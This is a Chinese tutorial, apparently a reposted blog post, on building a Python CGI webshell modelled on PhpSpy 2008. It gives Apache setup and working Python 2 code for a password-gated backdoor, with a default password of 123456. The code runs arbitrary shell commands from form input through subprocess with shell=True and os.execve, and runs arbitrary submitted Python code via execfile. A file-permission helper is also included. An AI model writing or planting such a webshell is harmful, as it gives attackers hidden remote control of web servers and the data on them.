python实战通过Python Web编写Python版本webshell
最近在研究WebShell,于是打算写一个Python版的WebShell,使用的是cgi, Apache配置文件http.conf需做如下:
我的cgi脚本放到F:\py_cgi目录下,其中cgi-script指定脚本后缀名,例如
AddHandler cgi-script .py ScriptAlias /cgi-bin/ "F:/py_cgi/"<Directory "F:/py_cgi"> AllowOverride None Options All Order allow,deny Allow from all</Directory>
这个WebShel0l实现模仿了PhpSpy 2008,但功能没有那么强大,我会利用业余时间慢慢加强,下面先看看效果。
经典的登录框:密码默认:123456
首页显示: 其中文件管理是最烦的,目前只有显示功能,其余操作,等待添加
下面这是命令执行,支持调用程序传递参数,支持执行命令
这是一些系统信息,貌似通过cgi模块,很多变量获取不到,我也没做特殊处理(ps,偷偷懒)
下面是执行python命令
下面将介绍各个模块实现。
有一些全局变量和函数需要说明:
from os import environ form = cgi.FieldStorage()# ===================== 程序配置 =====================admin={}# 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效 admin['check'] = True admin['pass'] = '123456'# 如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认 # cookie 前缀 admin['cookiepre'] = '';# cookie 作用域 admin['cookiedomain'] = '';# cookie 作用路径 admin['cookiepath'] = '/';# cookie 有效期 admin['cookielife'] = 86400;# ===================== 配置结束 =====================self = os.path.basename(__file__)timestamp = time.time()def getcookie(key): if environ.has_key('HTTP_COOKIE'): for cookie in environ['HTTP_COOKIE'].split(';'): k , v = cookie.split('=') if key == k: return v return ""def getvalue(key): if form.has_key(key): return form.getvalue(key) return ""
Cookie是存储在CGI环境变量HTTP_COOKIE的,他们将有以下的形式.
key1=value1;key2=value2;key3=value3....
如果对Python cgi不熟悉的可以自行百度
登陆支持cookie,可以启用验证和关闭验证,代码如下:
def login(): if admin["check"]: if getvalue("doing") == "login": if admin["pass"] == getvalue("password"): print "Set-Cookie:Pyspypass=%s" % admin["pass"] #print "Set-Cookie:Expires=Tuesday, 31-Dec-2014 23:12:40 GMT" print "Content-type:text/html" print index() return if getcookie('Pyspypass') != admin['pass']: print "Content-type:text/html" print loginpage() else: print "Content-type:text/html" print index()
其中getvalue是获取表单参数,getcookie是获取cookie信息。
命令执行是通过subprocess.Popen和os.execve实现,比较简单,代码如下:
def do_shell(): log = "/c net start > %s%slog.txt" %(os.getcwd(),os.sep) if sys.platform == "win32": path ,args ,com = "c:\windows\system32\cmd.exe" ,log ,"ipconfig" elif sys.platform == "linux2": path ,args ,com = "/bin/bash" ,"--help" ,"ifconfig" else: path ,args ,com = "" ,"" ,"" shell_cmd = getvalue("command").strip() shell_pro = getvalue("program").strip() is_cmd = True if shell_cmd !="" else False is_pro = True if shell_pro !="" else False program = shell_pro or path parameter = getvalue("parameter").strip() or args command = shell_cmd or com result = "" if is_cmd: p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) result = "".join(p.stdout.readlines()) shell = """ <table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td> <form name="form1" id="form1" action="" method="post" > <h2>Execute Program »</h2> <input id="action" type="hidden" name="action" value="shell" /> <p>Program<br /><input class="input" name="program" id="program" value="%s" type="text" size="100" /></p> <p> Parameter<br /><input class="input" name="parameter" id="parameter" value="%s" type="text" size="100" /> <input class="bt" name="submit" id="submit" value="Execute" type="submit" size="100" /> </p> </form> <form name="form1" id="form1" action="" method="post" > <h2>Execute Command »</h2> <input id="action" type="hidden" name="action" value="shell" /> <p>Command<br /><input class="input" name="command" id="command" value="%s" type="text" size="100" /> <input class="bt" name="submit" id="submit" value="Execute" type="submit" size="100" /></p> </form> <pre> %s </pre> </td></tr> </table> """ % (program,parameter,command,result) print shell if is_pro: os.execve(program, parameter.split(), os.environ)
python命令执行通过execfile实现:
def do_eval(): code = getvalue("pythoncode") tmp = open("temp.py","w") tmp.write(code) tmp.close() file=StringIO.StringIO() if code != "": stdout=sys.stdout sys.stdout=file try: execfile("temp.py") except Exception,e: file.write(str(e)) sys.stdout=stdout os.remove("temp.py") eval = """ <table width="100%%" border="0" cellpadding="15" cellspacing="0"><tr><td> <form name="form1" id="form1" action="" method="post" > <h1> <pre>%s</pre> </h1> <h2>Eval Python Code »</h2> <input id="action" type="hidden" name="action" value="eval" /> <p>Python Code<br /><textarea class="area" id="phpcode" name="pythoncode" cols="100" rows="15" >%s</textarea></p> <p><input class="bt" name="submit" id="submit" type="submit" value="Submit"></p> </form> </td></tr></table> """ % (file.getvalue(),code) print eval
为了获取执行的结果,我们将标准输出重定向到内存(StringIO),StringIO相当好用。本来是用exec实现的,但发现在执行时需要处理缩进,太复杂了。
所有的调度是通过do_handler函数实现的。
def handler(): action = getvalue("action") if action == "" or action == "file": do_file() elif action == "shell": do_shell() elif action == "env": do_env() elif action == "eval": do_eval()
很简单,具体原理主要是通过点击超链接,通过js调用隐形表单,cgi.form获取“action”值。由于WebShell需要在一个文件中,所以使用了很多的隐形表单,不然不好区分不同的操作。
文件操作中获取权限代码如下:
def getPerms(path): user = {} group = {} other = {} mode = os.stat(path)[stat.ST_MODE] perm = oct(mode)[-4:] type = "" if stat.S_ISDIR(mode): type = 'd' elif stat.S_ISLNK(mode): type = 'l' elif stat.S_ISCHR(mode): type = 'c' elif stat.S_ISBLK(mode): type = 'b' elif stat.S_ISREG(mode): type = '-' elif stat.S_ISFIFO(mode): type = 'p' elif stat.S_ISSOCK(mode): type = 's' else: type = '?' user['read'] = 'r' if (mode & 00400) else '-' user['write'] = 'w' if (mode & 00200) else '-' user['execute'] = 'x' if (mode & 00100) else '-' group['read'] = 'r' if (mode & 00040) else '-' group['write'] = 'w' if (mode & 00020) else '-' group['execute'] = 'x' if (mode & 00010) else '-' other['read'] = 'r' if (mode & 00004) else '-' other['write'] = 'w' if (mode & 00002) else '-' other['execute'] = 'x' if (mode & 00001) else '-' return perm,type+user['read']+user['write']+user['execute']+group['read']+group['write']+group['execute']+other['read']+other['write']+other['execute']
所有代码如下,文件操作模块比较乱,功能有待加强,代码还不完整。
本文可能转载于网络公开资源,如果侵犯您的权益,请联系我们删除。